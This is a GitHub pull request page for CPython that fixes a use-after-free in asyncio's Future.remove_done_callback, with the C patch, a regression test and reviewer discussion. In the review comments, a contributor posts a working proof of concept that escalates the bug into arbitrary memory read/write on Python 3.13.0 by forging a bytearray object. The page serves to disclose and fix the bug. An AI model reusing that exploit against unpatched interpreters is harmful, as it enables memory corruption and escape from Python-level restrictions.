Skip to content

gh-125966: fix UAF on fut->fut_callback0 due to an evil callback's __eq__ #125967

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 8 commits into from
Oct 27, 2024
Merged

gh-125966: fix UAF on fut->fut_callback0 due to an evil callback's __eq__ #125967

Show file tree
Hide file tree
Changes from 6 commits
Commits
Show all changes
8 commits
Select commit Hold shift + click to select a range
016442c
Fix UAF in `_asyncio`
picnixz Oct 25, 2024
ca7fe77
fix Python implementation
picnixz Oct 25, 2024
f9e21c3
blurb
picnixz Oct 25, 2024
181aadf
update links
picnixz Oct 25, 2024
ef878cb
Revert "fix Python implementation"
picnixz Oct 25, 2024
61de9b6
Merge branch 'main' into fix/future-callback-uaf-125966
picnixz Oct 26, 2024
11870aa
Clarify comment per Guido's request.
picnixz Oct 27, 2024
d98f13c
Merge remote-tracking branch 'upstream/main' into fix/future-callback…
picnixz Oct 27, 2024
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
18 changes: 18 additions & 0 deletions Lib/test/test_asyncio/test_futures.py
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -980,6 +980,24 @@ def evil_call_soon(*args, **kwargs):
# returns an empty list but the C implementation returns None.
self.assertIn(fut._callbacks, (None, []))

def test_use_after_free_on_fut_callback_0_with_evil__eq__(self):
# Special thanks to Nico-Posada for the original PoC.
# See https://github.com/python/cpython/issues/125966.

fut = self._new_future()

class cb_pad:
def __eq__(self, other):
return True

class evil(cb_pad):
def __eq__(self, other):
fut.remove_done_callback(None)
return NotImplemented

fut.add_done_callback(cb_pad())
fut.remove_done_callback(evil())


@unittest.skipUnless(hasattr(futures, '_CFuture'),
'requires the C _asyncio module')
Expand Down
2 changes: 2 additions & 0 deletions Misc/NEWS.d/next/Library/2024-10-25-10-53-56.gh-issue-125966.eOCYU_.rst
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
Fix a use-after-free crash in :meth:`asyncio.Future.remove_done_callback`.
Patch by Bénédikt Tran.
8 changes: 7 additions & 1 deletion Modules/_asynciomodule.c
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -1012,7 +1012,13 @@ _asyncio_Future_remove_done_callback_impl(FutureObj *self, PyTypeObject *cls,
ENSURE_FUTURE_ALIVE(state, self)

if (self->fut_callback0 != NULL) {
int cmp = PyObject_RichCompareBool(self->fut_callback0, fn, Py_EQ);
// Beware: An evil PyObject_RichCompareBool could change fut_callback0
// (see https://github.com/python/cpython/issues/125789 for details)
// In addition, the reference to self->fut_callback0 may be cleared,
// so we need to temporarily hold it explicitly.
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This comment feels a bit confusing. I had a hard time figuring where in that issue to look for the example involving callback0. I also had a hard time understanding that returning NotImplemented will cause a second rich comparison to be invoked (by the first one) after the first argument to the first one has been DECREF'ed. (Thanks to the long comments below I now understand this -- good catch all!). Maybe deep-link to a specific comment in the issue? Or maybe just explain that if fn's __eq__ is evil enough, it can cause the first arg to PyObject_RichCompareBool be freed before a recursive PyObject_RichCompareBool calls is made with that same arg.

But now I am thinking that this is really a general weakness in PyObject_RichCompareBool that should be fixed there! (Maybe in do_richcompare.) Thoughts?

Copy link
Member Author

@picnixz picnixz Oct 27, 2024 •
edited
Loading

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Or maybe just explain that if fn's eq is evil enough, it can cause the first arg to PyObject_RichCompareBool be freed before a recursive PyObject_RichCompareBool calls is made with that same arg.

That's a good way to phrase it; I also didn't really know how to say it properly. Alternatively, I think a link to the comment #125967 (comment) would be fine as well. We can also say both so
that readers don't need to open the link if you want (and to give a bit of context as for the other comments)

But now I am thinking that this is really a general weakness in PyObject_RichCompareBool that should be fixed there! (Maybe in do_richcompare.) Thoughts?

Unfortunately, I'm not sure we can always make it work. It would be great if PyObject_RichCompareBool was smart enough to figure it out but there are cases when it would not be straightforward (for instance: #119004 (comment)). Note that the evil __eq__ works in this specific situation because we can mutate the operands being compared to trigger the UAF but that's not always the case I think =/

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

By the way, there are at least two ways of fixing a UAF like this: either you incref/decref eagerly or you transfer ownership. The latter is only done if you'll anyway clear the ref after the call and is cheaper than the former, but in general, we need to do the latter. Since __eq__ is a common operation, we try to be as efficient possible.

PyObject *fut_callback0 = Py_NewRef(self->fut_callback0);
int cmp = PyObject_RichCompareBool(fut_callback0, fn, Py_EQ);
Py_DECREF(fut_callback0);
Comment on lines +1025 to +1027
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hmm, could you explain the issue more to me? I don't see any need to explicitly hold a reference here, because we (should) implicitly hold one by holding a reference to self.

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If you run the PoC:

import asyncio

fut = asyncio.Future()

class a:
    def __eq__(self, other):
        print("in a __eq__", self)
		print("other is", other)
        return True
    
    def __del__(self):
        print("deleting", self)

class b(a):
    def __eq__(self, other):
        print("in b __eq__")
        fut.remove_done_callback(None)
		print("None was removed")
        return NotImplemented

fut.add_done_callback(a())
fut.remove_done_callback(b())

you would get:

in b __eq__
in a __eq__ <__main__.a object at 0x7f2ef037f4a0>
other is None
None was removed
deleting <__main__.a object at 0x7f2ef037f4a0>
Segmentation fault (core dumped)

If you don't hold a reference to fut_callback0, the issue is that after __eq__, the reference to fut_callback0 will be freed before completing the call because of

if (cmp == 1) {
    /* callback0 == fn */
    Py_CLEAR(self->fut_callback0);  // this clears 
    Py_CLEAR(self->fut_context0);
    cleared_callback0 = 1; 
}

@Nico-Posada Please correct me if I'm wrong here!

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah that's main idea. After running fut.remove_done_callback(None) self->fut_callback0 will be cleared, but then the evil function returns NotImplemented which causes PyObject_RichCompareBool to call fut_callback0's __eq__ func after fut_callback0 has been cleared.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

fwiw, here's a POC that shows how you can escalate this to malicious object creation (tested on v3.13.0 on ubuntu 24.04 x86_64)

import asyncio

fut = asyncio.Future()

class a(bytes):
    def __eq__(self, other):
        print("in a __eq__", hex(id(self)), hex(id(other)))
        return True
    
    def __del__(self):
        print("deleting", hex(id(self)))

class b(a):
    def __eq__(self, other):
        global pad
        print("in b __eq__", hex(id(self)), hex(id(other)))
        fut.remove_done_callback(None)
        del pad, other
        print("created ", hex(id(prealloc + fake_obj)))
        return NotImplemented

class Catch:
    __slots__ = ("mem",)
    def __eq__(self, other):
        global mem
        mem = self.mem
        return True

fake_ba = (
    (0x123456).to_bytes(8, 'little') +
    id(bytearray).to_bytes(8, 'little') +
    (2**63 - 1).to_bytes(8, 'little') +
    (0).to_bytes(24, 'little')
)

fake_obj = (
    (0x123456).to_bytes(8, 'little') +
    id(Catch).to_bytes(8, 'little') +
    (id(fake_ba) + bytes.__basicsize__ - 1).to_bytes(8, 'little')
)

prealloc = a(0x8050)
pad = a(0x8000)
to_corrupt = a(0x8000)
print("pad:", hex(id(pad)), "to_corrupt:", hex(id(to_corrupt)))
print("diff:", hex(id(to_corrupt) - id(pad)))

mem = None

# transfer ownership to fut
fut.add_done_callback(to_corrupt)
del to_corrupt

fut.remove_done_callback(b())

if mem is None:
    print("failed")
    exit()

print(hex(len(mem))) # => 0x7fffffffffffffff
mem[id(250) + int.__basicsize__] = 100
print(250) # => 100

if (cmp == -1) {
return NULL;
}
Expand Down
Loading